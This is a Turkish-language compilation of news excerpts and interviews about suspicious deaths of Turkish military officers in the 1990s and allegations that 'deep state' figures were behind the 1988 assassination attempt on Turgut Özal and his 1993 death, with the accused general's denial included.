Merhum Cumhurbaşkanı Turgut Özal, Kürt sorununu çözmek için 1990′lı yılların başında harekete geçti. Özal’ın, sorunun çözümü için sivil kanattan 5 Şubat 1993′te şaibeli bir trafik kazasında hayatını kaybeden Devlet Bakanı Adnan Kahveci’yi, askerî kanattan ise uçağının düşmesi sonucu şehit olan Orgeneral Eşref Bitlis’i görevlendirdiği biliniyor. Orgeneral Bitlis’in, arkadaşlarıyla birlikte bir rapor hazırlayıp Özal’a sunduğu ileri sürülüyor. Bu raporda bölgedeki şiddet eylemlerinden rant elde eden birtakım sivil ve askerî devlet görevlilerinin isimlerinin yer aldığı, bu kişilerin tasfiye edilmesinin tavsiye edildiği belirtiliyor. Söz konusu raporu hazırlayan kişilerin başta Eşref Bitlis olmak üzere devlet içinde yapılanmış olan bir örgüt tarafından çeşitli yöntemlerle öldürüldüğü iddia ediliyor.

-Albay Kazım Çillioğlu-

Tunceli Jandarma Alay Komutanı Albay Kazım Çillioğlu 3 Şubat 1994 tarihinde evinde ölü bulundu. Çillioğlu’nun beylik tabancası ile intihar ettiği kayıtlara düştü. Askerî savcılık tarafından yapılan soruşturma sonuçsuz kaldı. Çillioğlu ailesi sivil savcılığa başvurarak soruşturmanın yenilenmesini talep etti. Albay Çillioğlu’nun ölümüne ilişkin Malatya Özel Yetkili Cumhuriyet Başsavcılığı soruşturma başlattı. Kendi el yazısı ile bıraktığı iddia edilen intihar notunun altındaki imzanın yapılan inceleme sonunda Çillioğlu’na ait olmadığı ortaya çıktı. Savcılığın talebi üzerine sözde intihara ilişkin hazırlanan bilirkişi raporunda da Albay Çillioğlu’nun önce darbedildiği, sonra öldürüldüğü vurgulandı.

-Albay Rıdvan Özden-

Albay Rıdvan Özden, 14 Ağustos 1995 tarihinde Mardin’in Savur ilçesi Ormancık köyü kırsal kesiminde teröristler tarafından açılan ateş sonucu iki korumasıyla birlikte şehit oldu. Özden’in alnından aldığı tek kurşunla hayatını kaybettiği yönünde tutanak tutuldu. Diyarbakır Cumhuriyet Başsavcılığı’nca yürütülen faili meçhul cinayetler soruşturması kapsamında geçtiğimiz ay Özden’in İstanbul Edirnekapı mezarlığında bulunan mezarı açıldı. Otopsi için Adli Tıp Kurumu’na sevk edilen Albay Özden’in kafatası ve kemikleri üzerinde yapılan incelemeye göre Albay Özden’in ölümüne neden olan kurşunun resmî kayıtların aksine alnından değil kafasının üst kısmından girdiği ve arka tarafından çıktığı tespit edildi. Özden’in alnında kurşun deliği tespit edilemedi.

Kürt politikasını eleştiren Jandarma Korgeneral Hulusi Sayın, 30 Ocak 1991′de Ankara’da taranarak şehit edildi. Cinayeti Dev-Sol üstlense de suikastı devlet içindeki derin yapıların gerçekleştirdiği hep konuşuldu. Jandarma Korgeneral İsmail Selen, PKK ile mücadele konusunda dönemin yöneticileriyle ters düştü. Görevinden alınmak istendi. Emekli olduktan sonra 23 Mayıs 1991′de taranarak şehit edildi. Aynı gün Adana Jandarma Bölge Komutanı Temel Cingöz de suikasta uğradı.

-Tuğgeneral Bahtiyar Aydın-

Orgeneral Eşref Bitlis Paşa’nın emrinde çalışan Diyarbakır Jandarma Bölge Komutanı Bahtiyar Aydın, 22 Ekim 1993 tarihinde Diyarbakır Lice’de tek kurşunla hayatını kaybetti. Cinayette kullanılan Kanas marka silah ortadan kayboldu. Bahtiyar Aydın’ın şüpheli ölümüne ilişkin soruşturma zamanaşımına kısa bir süre kala açıldı. Yüksekova Çetesi’ni ortaya çıkaran Astsubay Hüseyin Oğuz’un, Susurluk Komisyonu’na verdiği ifadede “Aydın’ı bir PKK itirafçısı öldürdü. Aydın, terörle mücadelede şiddete karşı olduğu için öldürüldü.” diye konuştu. (Zaman)

Özal suikasti muhteşem bir Özel Harp işiydi, amacına da ulaştı
Ahmet Özal, Turgut Özal’a yapılan suikast girişiminin ardında eski Özel Harp Dairesi ve eski MGK Genel Sekreteri Sabri Yirmibeşoğlu’nun adının çıktığını açıkladı. Suikast sırasında MGK genel sekreterliği görevini yürüten Yirmibeşoğlu, halk arasındaki adıyla Kontrgerilla olan Özel Harp Dairesi’nin (ÖHD) eski komutanlarından biriydi. ’6-7 Eylül de bir Özel Harp işidir ve muhteşem bir örgütlenmeydi. Amacına da ulaştı’ açıklamasını yapan kişiydi. Özal suikastini soruşturan ve suikastçi Kartal Demirağ’ın Afyon Dazkırı bölgesindeki kontrgerilla örgütlenmesine dahil olduğunu tespit eden savcıyı, olayın üzerine daha fazla gidilmemesi için uyaran kişi de MGK sekreteri Yirmibeşoğlu’ydu. Yine Yirmibeşoğlu, 1978′de Başbakan Ecevit’in, ‘Farz-ı muhal, buradaki MHP il başkanı, aynı zamanda Özel Harp Dairesi’nin sivil uzantısındaki gizli elemanlardan biri olamaz mı?’ kuşkusunu ‘Evet, öyledir ama kendisi çok güvenilir, vatansever bir arkadaşımızdır.’ diyerek doğrulayan kişiydi. Cumhurbaşkanı Turgut Özal, suikast olayının detayları kendisine ulaşınca MGK sekreteri Yirmibeşoğlu’nu re’sen emekliye sevketti. Suikastin ardında olmakla suçlanan diğer kişi ise yine Özel Harp’te komutanlık yapan Org. Kemal Yamak’tı. Cumhurbaşkanı Turgut Özal’ın genel sekreterliği görevini yürüten Yamak, Özal’ın 1993′te şüpheli ölümü üzerine o gün görevinden istifa etmişti.

Bir dönemin kara kutusu olarak da bilinen Sabri Yirmibeşoğlu’nun adı Özal’a yönelik suikast olayında adı geçti. Korkut Özal’ın 8. Cumhurbaşkanı Turgut Özal’la ilgili birkaç gün önce dile getirdiği ‘Ergenekon öldürdü’ iddiasının ardından oğul Ahmet Özal da babasına 22 yıl önce yapılan suikast girişiminin ardında dönemin MGK Genel Sekreteri Sabri Yirmibeşoğlu’nun olduğunu iddia etti. Ahmet Özal ‘Babam ülke karışmasın diye suikastin ardındaki isimleri açıklamadı. Bu isimlerin hepsi Emniyet ve MİT’in arşivlerinde var. Arşivler açılsın’ çağrısı yaptı. Ahmet Özal Habertürk’e şok iddialarda bulundu. Tülay Şubatlı’ya çarpıcı açıklamalarda bulunan Özal, Yirmibeşoğlu’nun aynı zamanda eski JİTEM Başkanı olduğunu savundu. Birkaç gün önce de Korkut Özal bir açıklama yapmış ve ‘Kardeşimi Ergenekoncular öldürdü’ diyerek, Turgut Özal’ı Ergenekon’un zehirleyerek öldürdüğünü iddia etmişti.

Amcanız babanızın ölümünde Ergenekon’u işaret etti. Siz ne düşünüyorsunuz? – Ahmet Özal: Ölümüyle ilgili değil ama eğer arşivler açılırsa babama suikast olayı ile Ergenekon bağlantıları görülecektir. Ölümüyle suikastın birlikte araştırılması gerekir. Çünkü Kartal Demirağ diye bir adam çıkıyor ve 2 sene hapis yiyor, kayboluyor. Babam öldüğü gün Kartal Demirağ gelip dua edip ağladı.

Bireysel değildi yani diyorsunuz? – Arkası çok kalabalık bir olaydı. Hatta araştırıldı. Babam bunu açıklamak istemedi. “Bu arşivlerde var. Bunun zamanı değil. Türkiye’nin karışmasını istemiyorum. Benim suikastımdan daha önemli olan Türkiye’dir. Türkiye’nin kalkınması daha önemli dedi.

Birtakım isimlere mi ulaştı? – Tabii canım! Ulaştı hepsine. Hatta İsviçre’de para hareketlerine kadar buldular. Kimden nerelere gelmiş.

Kimmiş onlar?- Bilmiyorum. Açıklamak istemedi.

Ama size isimleri söylemiş. – Ben birkaç isim biliyorum. Hepsini bilmiyorum.

Ergenekon soruşturmasında ismi geçenlerden birileri var mı? – Ölüm olayını hiç kimse bilemez, onu Allah bilir sadece. Ancak suikast olayında Ergenekon bağlantısı olduğunu zannediyorum.

Neye dayanarak Ergenekon olduğunu düşünüyorsunuz? – Kendilerinde yasal olarak güç vehmeden bazı ordu mensuplarının o zaman da aktif olduğunu biliyorum. Yani TSK’nın içinde bahsedilen JİTEM, derin devlet hikâyeleri o zaman yoğundu.

Kimdi onlar? – Ordunun içinde kendini bilmezler. Bugün Ergenekon dediğimiz hadiseler o zaman da vardı. Bunlar TSK’yı temsil etmez. Bu adamlardan dolayı TSK’nın yıpratılmasına, yara almasına karşıyım.

Ergenekon’un parmağı olduğunu söylüyorsunuz. Peki sizce babanızı neden öldürmek istediler? – Yıllardır şunu söylemeye çalışıyorum. Özal’ın suikast araştırmasının sonuçları isimlerle beraber devletin arşivlerinde var. Eğer birisi bu arşivleri açıp oradaki isimleri çıkarırsa bunların hepsi birbiriyle örtüşecek. Ama nedense hiçbir hükümet o arşivleri açmıyor.

Tespit edilen isimler arasında Yirmibeşoğlu var mı? – Evet Sabri Yirmibeşoğlu da o isimlerden biri. Arşivlerin açılması lazım. Açılınca isimler çıkar ortaya. MGK Genel Sekreteri, eski JİTEM Başkanı’dır aynı zamanda.

Soruşturma nasıl sonuçlandı? – O zaman savcı Uğur Tönük soruşturmayı yaptı. Yıllar önce savcıyla görüştüm. Bana suikast soruşmasıyla ilgili olarak Milli Güvenlik Kurulu Genel Sekreteri Sabri Yirmibeşoğlu Paşa’nın, kendisine bu konunun üzerine fazla gitme dediğini söyledi.

Peki savcı neden böyle bir şey istiyorsunuz dememiş mi ona? – O zamanki orduyu temsil eden insanların gücü bugünden çok farklıydı. 1980’li yıllarda daha Milli Güvenlik Konseyi iş başındaydı, Evren Paşa Cumhurbaşkanı’ydı. Konsey orada 4 paşayla oturuyordu. Bugünkü Türkiye değil o günkü Türkiye. Aradan geçmiş 30 sene.

Savcı nasıl ifade etti? – Soruşturma bittikten çok sonra söyledi. Dosya kapandıktan sonra. Demirağ ceza yedi ve dosya kapandı.

Dosya kapandıysa arşivlerde ne bulunacak? – Mahkeme dosyası kapandı ama MİT’in Emniyet’in yaptığı dosya ayrı bir dosya. Onlar ayrı bir araştırma yaptılar ve 5-6 ayda çözdüler, ama babam açıklama yapmak istemedi.

Neden suikast düzenlenmiş anlattı mı? – Şüphelendiği bazı olaylar vardı. Bunların başında Türkiye’deki kaçakçılık olayları ve Kürt sorununu çözme kararlılığı geliyordu. Babam ‘Türkiye’nin demokratikleşmesini istemeyenler var’ dedi. Demokratikleştiğin zaman milli irade idare edecek seni başkası değil. Uğur Mumcu 1993’te öldürüldü. Faili bulundu mu? Hayır. Eşref Bitlis aynı şekilde gitti. Öldürüldü.

Babanız kaç isim söyledi? – İki üç tane fazla değil. Önemli bir kaç isim söyledi şaşkınlık ifadeleriyle. Bunlar Emniyet ve MİT’in dosyalarında var. Enteresandır. Suikast olayından sonra bir gazete patronu gazetesini satıp Türkiye’den gitti. Babamın suikastıyla ilgili olabilir. Arşivler açılırsa bu isimler ortaya çıkar.

Yirmibeşoğlu hakkında ne yapıldı? – Sabri Yirmibeşoğlu o dönemden sonra emekli edildi.

Babanız mı emekli ettirdi? – Evet. Emekli olan çok insan oldu o dönemde.

İfadeleri alınmadı mı? – Hayır. Konu donduruldu o zaman Türkiye karışmasın diye.

KONGREDE VURULDU • 18 Haziran 1988 günü Ankara’da Atatürk Kapalı Spor Salonu’nda yapılan ANAP kongresinde, kürsüde konuşanBaşbakan Turgut Özal’a iki el ateş edildi. Birinci kurşun Özal’ın sağ eline, ikinci kurşun mikrofonun ayağına isabet etti. Silahı tutukluk yapınca korumalar tarafından vurularak yakalanan kişi Kartal Demirağ’dı. 4 yıl hapis yatan Demirağ 1992’de serbest bırakıldı.

6-7 Eylül olaylarını da itiraf etmişti • Bir dönemin ‘karakutusu’ olarak da tanımlanan eski Milli Güvenlik Kurulu Genel Sekreteri ve eski Özel Harp Dairesi Başkanı emekli Orgeneral Sabri Yirmibeşoğlu’nun Haziran 1988’de Turgut Özal’a yönelik suikast girişimiyle ilgili soruşturmaya engel olduğu iddia edilmişti. 1988’de Milli Güvenlik Kurulu Genel Sekreteri olduktan bir yıl sonra Cumhurbaşkanı Özal tarafından emekliye sevk edilen Yirmibeşoğlu, suikastla ilişkilendirilmesine, “Özal beni tutan biriydi. Ona karşı olmam söz konusu değildi. Bu iddialar deli saçması” diyerek tepki göstermişti. Yirmibeşoğlu’nun, 6-7 Eylül 1955’te yaşanan ve Rumların ev ve işyerlerinin yağmalandığı, 16 kişinin ölümüyle sonuçlanan olaylarda da adı geçti. Gazeteci Fatih Güllapoğlu, “Tanksız Topsuz Harekât” adlı kitabında, ‘Özel Harpçi’ Sabri Yirmibeşoğlu’nun görüşlerine yer verdi. Kitapta, röportajın bir yerinde Yirmibeşoğlu’nun, “6-7 Eylül de bir Özel Harp işidir ve muhteşem bir örgütlenmeydi. Amacına da ulaştı. Sorarım size? Bu muhteşem bir örgütlenme değil miydi?” sözleri büyük yankı uyandırdı. Ancak Yirmibeşoğlu, kitapta kendisine ait olduğu öne sürülen sözleri inkâr etti. (Habertürk)

Dazkırılı kontrgerillacı Kartal Demirağ • Cumhurbaşkanı Turgut Özal’a suikast girişiminde bulunan kişi Afyon Dazkırı’da Ülkü Ocakları 2. başkanlığı yapmış olan Kartal Demirağ, gençliğinde Alparslan Türkeş tarafından kurulan ve içerisinde MHP’li gençlere silahlı eğitim dahil birçok alanda eğitim verilen komando kamplarına katıldı. Suikast olayını soruşturan savcı Afyon Dazkırı’da bir kontrgerilla kampının varlığını keşfetti. Orada eğitim aldığı ortaya çıkan Demirağ sağcı militandı. İlk suçu da Dazkırı Kaymakamı’nı falçatayla yaralamaktı. İfadesinde kaymakamı dokuma kooperatif faaliyetlerinden ötürü komünist olduğu için yaraladığını söylemişti. Ama asıl nedenin uyuşturucu imalatı yaptığı gerekçesiyle Dazkırı’daki bir eczanenin kaymakamlıkça kapatılması olduğu raporlara yansıdı. Yani işin içinde uyuşturucu trafiği de var. Daha sonra hapse giren Demirağ, kısa sürede hapisten kaçırıldı. Özal suikastinde adı geçen diğer bir kişi Türkiye’nin ilk banka hortumcusu olan Kemal Horzum. Emlak Bankası’nı 90 milyon dolar dolandırarak yurtdışına kaçan Horzum’un Demirağ’a para yolladığı öğreniliyor. Horzum da Dazkırılı. Savcı Uğur Tönük bu bilgilere ulaşınca iki general tarafından çağrılıyor ve ‘Devam etmeyin başınız ağrır’ diyerek uyarılıyor. Bu generallerden birisi Sabri Yirmibeşoğlu. Özal’a da aktarıldı bu olanlar. Özal, ‘Gereğini yapın’ dedi ama mesele kapandı. Özal suikastinin savcısı Uğur Tönük, işte Demirağ’ın kontrgerilla bağlantılarını bu şekilde tespit ettiği andan itibaren soruşturmaya devam edememiştir. Turgut Özal, suikastle ilgili detayları öğrendiğinde MGK sekreterliği görevini yürüten Yirmibeşoğlu’nu re’sen emekliye sevketti, suikastçi Demirağ’ı affetti.

Birinci suikastten kurtulsa da ikincisinden kurtulamadı • Suikast dosyası bu şekilde kapandı. Ancak 5 yıl sonra iddialara ve bu iddialarla örtüşen bulgulara göre zehirlenerek öldürüldü. Bu konuda Meclis Susurluk Komisyonu üyesi Fikri Sağlar’ın aktardıkları çarpıcı: ‘Özal’a suikasttan sonra İnönü ile Özal’ı ziyaret ettik.. Özal: ‘Bu organize bir iş, kimin yaptığı biliniyor’ dedi’.

Özal suikastinde adı geçen iki generalden birinin Org. Sabri Yirmibeşoğlu diğerinin de Özel Harp Dairesi komutanlarından Org. Kemal Yamak olduğu iddiaları var… – Fikri Sağlar: Bu konuda kesin bir bilgim yok. Ancak ailesi, Özal’ın eceliyle ölmediğinden emin. Düşünün her gittiği yerde 15 arabayla dolaşan yanında tam teşekküllü bir hastane donanımıyla dolaşan biri Özal. Böylesine kontrol altında biri, cumartesi günü joking sonrası fenalık geçiriyor. Köşk’te doktor, ambulans yok. Kendisini taşıyan araç hastaneye giderken yolda adres değiştiriyor falan. Hacettepe Hastanesi’ne gittiğinde de kalbin durmuş olduğunu söylüyorlar. Bunlar doğal olarak kafalarda soru işaretleri doğuruyor.

Özal Ailesi, bir bilgi ulaştırdı mı size? – Ahmet Özal milletvekili olduğunda muayene için babasının öldüğü Hacettepe Hastanesi’ne gidiyor. Burada kan ve saç örneğini alıyorlar. Daha sonra bir telefon geliyor hastaneden. “Babanızın kan örneği bizde mevcut. İsterseniz örneği inceleyelim. Herhangi bir toksit madde var mı araştıralım” diyorlar. Kabul ediyor Ahmet. Resmen de başvuru yapıyorlar. Ancak daha sonra hastaneden gelen bir telefon, bir hemşirenin örnek tüplerini elinden düşürerek kırdığını söylüyor. Dediğim gibi, aile Özal’ın eceliyle ölmediğinden kesinlikle emin. Ben o dönem tüm bu bilgileri toplayarak bir araştırma önergesi verdim.

ÇOK SAYIDA KRİTİK SUİKAST İÇEREN KANLI VE KARA YIL: 1993

Özal 1992’de Kaya Toperi ve Başyaveri Albay Arslan Güney’e bir Kürt raporu hazırlattığı ve bu raporun MGK gündemine getirildiği biliniyor. Özal’ın ölümünün bu raporla ilgisi olabilir mi? – Olabilir elbette. 1993 yılı bu ülkenin tarihindeki en önemli yıllarından biridir. 24 ocakta Uğur Mumcu öldürüldü. 17 şubatta Eşref Bitlis’in uçağı düşüyor. 18 nisanda Özal ölüyor. Cumhurbaşkanı seçimleri derken 2 temmuzda Sivas katliamı oluyor. Çekiç Güç tartışmaları netlik kazanıyor. Hiram Abbas öldürülüyor. Bunlar rastlantı olamaz.

Bu olaylar arasındaki bağlantı nedir? – Hükümet değişti. Cumhurbaşkanı değişti. Ben 93 yılındaki bu suikastların ve provokasyonların da, bir tasfiye sürecinin adımları olduğunu düşünüyorum.

Kim tasfiye edildi? Onların yerine kimler geldi? – 1993 yılı, 90’ların başında alınan illegal mücadele konseptinin terörle mücadeleye hakim kılındığı, PKK ile mücadelenin en üst seviyeye geldiği bir dönemdi. O dönemde Eşref Bitlis, Bahtiyar Aydın, Cem Ersever gibi subayların yanında yanılmıyorsam iki de ABD’li general öldürüldü. Söz konusu tasfiye planıyla, Çiller gibi istenildiği gibi kullanılacak birinin başa gelmesi sağlanmıştır bir şekilde. Dönemin Genelkurmay Başkanı Doğan Güreş’i hatırlayın. Atatürk ve Çiller resimli rozetle dolaşırdı. “O tak diye emreder, ben şak diye yaparım” der, bir dediğini iki etmezdi Çiller’in. (Taraf)

Özal’a suikast iddiasına cevap: O general konuştu • Turgut Özal’ın oğlu Ahmet Özal’ın “Özel suikastının ardında o vardı” dediği MGK eski Genel Sekreteri Sabri Yirmibeşoğlu iddialara cevap verdi. CNNTURK’TE Serdar Cebe’nin sorularını yanıtlayan emekli Orgeneral Yirmibeşoğlu, “Ortada yanlış bir anlaşılma var veya yanlış yazılmış. Ben suikastten sonra MGK Genel Sektereri oldum. Böyle bir şey mümkün değil. Hem iş hem de arkadaşlık anlamında aramız çok iyiydi. Suikastin arkasında olsam merhum Özal, benim MGK Genel Sekreteri olmam için kararnameye imza atmazdı. Aklım mantığım almıyor” dedi. Ahmet Özal’ın “Suikastın arkasındakilere ulaşmayı Sabri Yirmibeşoğlu engelledi” şeklindeki sözlerini değerlendiren Yirmibeşoğlu iddialarla ilgili şunları söyledi: “Kendisine suikast tertiplediğim söylenen Sayın Özal’ın beni neden MGK Genel Sekreterliği’ne getirdiğini anlayabilmiş değilim. ‘Özal’ı olsa olsa 2 kişi öldürmek isteyebilir. Biri cumhurbaşkanı olmak isteyen Kaya Erdem diğeri Sabri Yirmibeşoğlu’ dediler.Bunları okuyunca hayretler içinde kaldım. Bunlara eskiden insanlar deli zırvası derlerdi. Ahmet Bey’in böyle bir beyanat verdiğini sanmıyorum. Ortada bir yanlış anlaşılma var.

“6-7 Eylül’ü MİT yaptı” • 6-7 Eylül olayları ile ilgili sözlerim akademik düzeydeydi. Bu dava bir defa mahkemede yargılandı. Ben o zaman 1955′te garip bir üsteğmendim. Olaylarla ilgili isimler varken Sabri Paşa diye ortaya atmanın saçmalığını anlayamıyorum. “Muhteşem bir örgütlenme” demişim. Ben deli miyim bunları söyleyeyim. Bunları MİT’in yaptığı sonradan ortaya çıktı sanırım. Öyle gibi görüşüldü. O zamanlar Özel Harp Dairesi yok.”

Korkut Özal: “Vefatı sırasında ağzından köpük geliyordu” • Canlı yayına katılan Turgut Özal’ın kardeşi Korkut Özal da şunları söyledi: “Kendisi bunun kimin tarafından organize edildiğini biliyordu. Kendisi bana isim verdi. O ismi DGM’ye bildirdim. Ama o ismi elimde delil olmadığı için söyleyemiyorum. O isim Özal’a yakın bir isim değildi. Kartal Demirağ’ın yaptığı suikastın arkasında kimin olduğunu kendisi tespit etmişti. Vefatı sırasında da ağzından köpükler gelmiş maalesef. O sırada Çankaya Köşkü’nde de tıbbi müdahale yapacak kimse yoktu.” (Habertürk)

Can Dündar: Savcı bana o açıklamayı yapmıştı • 22 Eylül 2010: Turgut Özal suikastinin tekrar gündeme gelmesi üzerine dün NTV’de sunduğu haber bülteninde bu haberi de sunan Can Dündar, Özal suikast soruşturmasını soruşturan Savcı Uğur Tönük ile o dönem bizzat görüştüğünü ve savcının soruşturmadan el çekmesi için nasıl uyarıldığını kendisine anlattığını belirtti: “Yargıtay 7. Ceza Dairesi üyeliğinden emekli bir savcı olan Tönük’le daha sonra tanıştım ve suikast soruşturmasının nasıl kesildiğini onun ağzından dinledim.” Dündar’ın Kontrgerilla ve Ergenekon konularında kitap ve yazıları bulunuyor. İşte bizzat onun satırlarıyla Özal suikasti soruşturmasındaki gariplikler:

Suikast soruşturması: Özal televizyonun sesini açtı ve komutanın adını sordu • Şimdi size eski bir öyküyü hatırlatacağım: 1988 Özal Suikastı… Nasıl Ecevit, kendisine karşı düzenlenen Çiğli suikastının ardında kontrgerillayı aramışsa Özal da kendi suikastçısının ardındaki “örgüt”ü aramıştı. Afyonlu işadamı Kemal Horzum’dan kuşkulanıyordu. Horzum, Emlakbank’ı dolandırmakla suçlanıyordu. Banka bünyesinde Horzum’u soruşturan komisyona, suikast işiyle de ilgilenmelerini söyledi. Komisyon üyeleri hem suikastçı Kartal Demirağ’ın hem Horzum’un memleketi olan Afyon’a gitti. Orada ne bulduklarını komisyon üyesi Uğur Tönük, daha sonra TBMM’de kurulan Horzum Araştırma Komisyonu’na şöyle anlattı:

Kartal kontrgerillacı • “Afyon Dazkırı’da 1974-77 seneleri arasında Ege’de meydana gelen sol hareketleri önlemek için bir kontrgerilla teşkilatı kurulduğunu, Kartal Demirağ’ın da bu teşkilatın yetişmiş bir elemanı olduğunu tespit ettik.” Demirağ özel kamplarda emekli askerlerce eğitilmişti. “Her şeyi vatanımız için yaptık” diyor, MİT’le ilişkisi olduğunu söylüyordu. Komisyon soruşturmayı derinleştirince Özal’ı vuran silahın Demirağ’a Kongre salonunda polisler tarafından verildiği yönünde duyumlar aldı. Afyon’daki teşkilatın üzerine gitmeye karar verdiler. İşte tam o aşamada Tönük, Ortaköy’de bir villaya davet edildi. MİT görevlisi olduklarını sandığı üç görevli kendisine “Bu tahkikatı kesin” dedi. Bir generalin adını verdiler ve “Paşa kararınızı bekliyor” dediler. Tönük soruşturmadan çekildi.

Özal’a söylüyor • Yargıtay 7. Ceza Dairesi üyeliğinden emekli bir savcı olan Tönük’le daha sonra tanıştım ve suikast soruşturmasının nasıl kesildiğini onun ağzından dinledim. O günlerde başına gelenleri bir tek Turgut Özal’a açıklamıştı. O sahneyi bütün ayrıntılarıyla anlattı:
Özal’ın Harbiye Orduevi’ndeki odasında buluşmuşlar, diz dize oturmuşlar. Tönük, kendisini tehdit edenlerin adını verdiği generali açıklayacağı anda Özal odadaki büyük ekran televizyonun uzaktan kumandasına uzanmış ve sesi sonuna kadar açmış. Sonra da Tönük, Paşa’nın ismini Özal’ın kulağına fısıldamış: “Sabri Yirmibeşoğlu!”

“Olacak iş mi?” • Yirmibeşoğlu o dönem MGK Genel Sekreteri idi. Görev süresi 1 yıl uzatılsa Kara Kuvvetleri Komutanı olabilecek, oradan Genelkurmay Başkanlığı’na tırmanabilecekti. Olmadı. Özal’a adı fısıldandıktan 1 yıl sonra emekliye sevk edildi. Yıllar sonra suikast konusunu soran Aksiyon’a “Hiç ciddiye almadım. Olacak iş değil” dedi.

Düşman kim? • Acaba kimler engellemişti suikast soruşturmasını? Yılma Durak ya da Kartal Demirağ da Özel Harp’in istihdam edip silahla eğittiği “vatansever gönüllüler” miydi? “Bazı olaylar yaratılır, düşman yaratmış gibi gösterilir” taktiğinin uygulayıcıları mıydı? “Düşman” kimdi? “Düşman”ı ve ona karşı kurulan resmi örgütü ABD bilirken neden Türkiye’nin Meclis’i ve başbakanı bilmiyordu? Bunları sormaya devam edeceğiz. (Milliyet, 8 Ocak 2006)

Savcı Tönük’e bir doğrulama da Cüneyt Arcayürek’ten • Sabri Yirmibeşoğlu’nu suçlayan, Savcı Uğur Tönük’tü. Onun iddialarına, Cüneyt Arcayürek, “Demokrasinin Sonbaharı” kitabında yer vermişti. Uğur Tönük, Horzum Araştırma Komisyonu’na çok çarpıcı şeyler söylemişti. Neydi anlattıkları? Arcayürek’in kitabından okuyalım: “Afyon Dazkırı’da, 1974-77 seneleri arasında, Ege’de meydana gelen sol hareketleri önlemek için bir kontrgerilla teşkilâtı kurulduğunu, Kartal Demirağ’ın da bu teşkilâtın yetişmiş bir elemanı olduğunu tespit ettik. Komisyon, Afyon’daki teşkilâtın üzerine gitmeye karar verdi. Tam o aşamada, Ortaköy’de bir villaya davet edildim. MİT görevlisi olduğunu sandığım 3 kişi bana ‘Tahkikatı kesin’ dedi. Bir generalin adını verdiler ve ‘Paşa kararınızı bekliyor’ dediler. Soruşturmadan çekildim.” Arcayürek, daha sonra Tönük ile görüşmüştü. Tönük, Arcayürek’e, Özal’la buluştuğunu söylemiş ve o görüşme sahnesini şöyle anlatmıştı: “Özal’ın Harbiye orduevindeki odasında diz dize oturduk. Beni tehdit edenlerin adını verdiği generali kendisine açıklayacağım sırada, Özal odadaki büyük ekran televizyonun uzaktan kumandasına uzandı ve sesi sonuna kadar açtı. Ben, paşanın ismini Özal’ın kulağına fısıldadım: Sabri Yirmibeşoğlu.” İşte Sabri Yirmibeşoğlu’nun ismi bu şekilde suikast iddiasına karışıyor. (Sabah)

Ergenekon ek klasörlerinde Özal suikasti • Ergenekon davasının ek klasörlerinden birinde, suikastın cezaevinde tasarlandığı ve “birilerinin” Kartal Demirağ’a “sen hiç korkma, seni yurt dışına çıkartacağız!” dediği anlatılıyor. Mehmet Adnan Akfırat klasöründe 17 sayfalık çok ilginç bir görüşme zaptı var. Bu zabıtta, adı Muhsin olarak geçen bir itirafçı, Kartal Demirağ’ın Özal suikastını cezaevinde tasarladığını anlatıyor savcıya. Estetik ameliyatla yüzünün değiştirileceği, askerlik işlerinin düzenlenmesi, parasal yardım yapılarak ömür boyu ailesinin korunacağı gibi sözler veriliyor, itirafçı Muhsin’in anlatımlarına göre. Muhsin’de sonra, cezaevinde kalan Cemal Kozan da savcıya ifade vemiş: “Almanya’dan gelen Ali adlı biriyle Denizli’den gelen bir öğretmen Kartal Demirağ’la görüştü.” Daha sonra da, Kartal Demirağ’ın, cezaevinden kaçmadan önce, cezaevi müdürüne nasıl baskı yapıldığını anlatmış. Anlatmış da ne olmuş? Hiç birşey. Üstelik çenesini kapaması yolunda Muhsin’e baskı yapılmış. (Aziz Üstel / Star)

Korkut Özal: Kardeşimi Ergenekoncular öldürdü
Korkut Özal, kardeşi Turgut Özal’ın ölümüyle ilgili çarpıcı iddialarda bulundu. Habertük canlı yayınında çarpıcı açıklamalar yapan Özal, kardeşi Turgut Özal’ı Ergenekon’un zehirleyerek öldürdüğünü iddia etti.

8. Cumhurbaşkanı Turgut Özal’ın abisi Korkut Özal, 27 Mayıs Askeri Darbesi sonrası idam edilen eski Başbakanlardan Adnan Menderes’in ölüm yıldönümünde katıldığı Habertük canlı yayınında çarpıcı açıklamalar yaptı. Özal, kardeşi Turgut Özal’ı Ergenekon’un öldürdüğünü iddia etti. İşte Korkut Özal’ın o çarpıcı cümleleri: “Şimdi efendim Turgut Özal’ın öldürüldüğü söyleniyor. Zehirlenerek. Buna ait çok yazılar var, nitekim vefat ettiği zaman ağzından köpükler geldiği, bunun kalp hastası olan bir kimsede olamayacağı söyleniyor. buradan da bir zehirlenme olayına gidiliyor. Biliyorsunuz bugün Türkiye’nin bir gizli teşkilatlar var Ergenekon adı altında. Bu Ergenekon Menderes’i de idama götüren gücün bir aleti Turgut Özal’ı zehirleyenlerin de bunlar olduğu artık bilinen bir şey. Ben inanıyorum ki Türkiye şu referandumdan da elde ettiği galibiyeti bunları çözmekte kullanırsa önümüzdeki bir kaç gün içinde Menderes’in bıraktığı meşale en güzel şekilde devam ettirilmiş olur.” (Zaman, Bugün)

Kaynak: Özal’ın o dönem ölmesi birilerince uygundu
Eski MİT mensubu Mahir Kaynak’tan çarpıcı açıklamalar…Eski MİT mensubu Mahir Kaynak, Cumhurbaşkanı Turgut Özal’ın ölümüne ilişkin şüphelere bir yenisini ekledi. Kaynak, ‘Özal öldü mü öldürüldü mü? sorusuna cevap veremem. Ama o zamanki siyasi şartlarda ölmesi uygundu’ dedi. Uçağının düşmesi sonucu 4 askerle birlikte hayatını kaybeden eski Jandarma Genel Komutanı Orgeneral Eşref Bitlis ile ilgili ise Mahir Kaynak, ‘Çoğu kişi kaza dedi ancak bu suikastti’ değerlendirmesini yaptı. Kaynak, Uğur Mumcu’nun iddia edildiği gibi İran destekli kesimlerce öldürülmediğini belirterek, ‘Kürt meselesindeki tavrı nedeniyle tasviye edildi’ şeklinde konuştu.

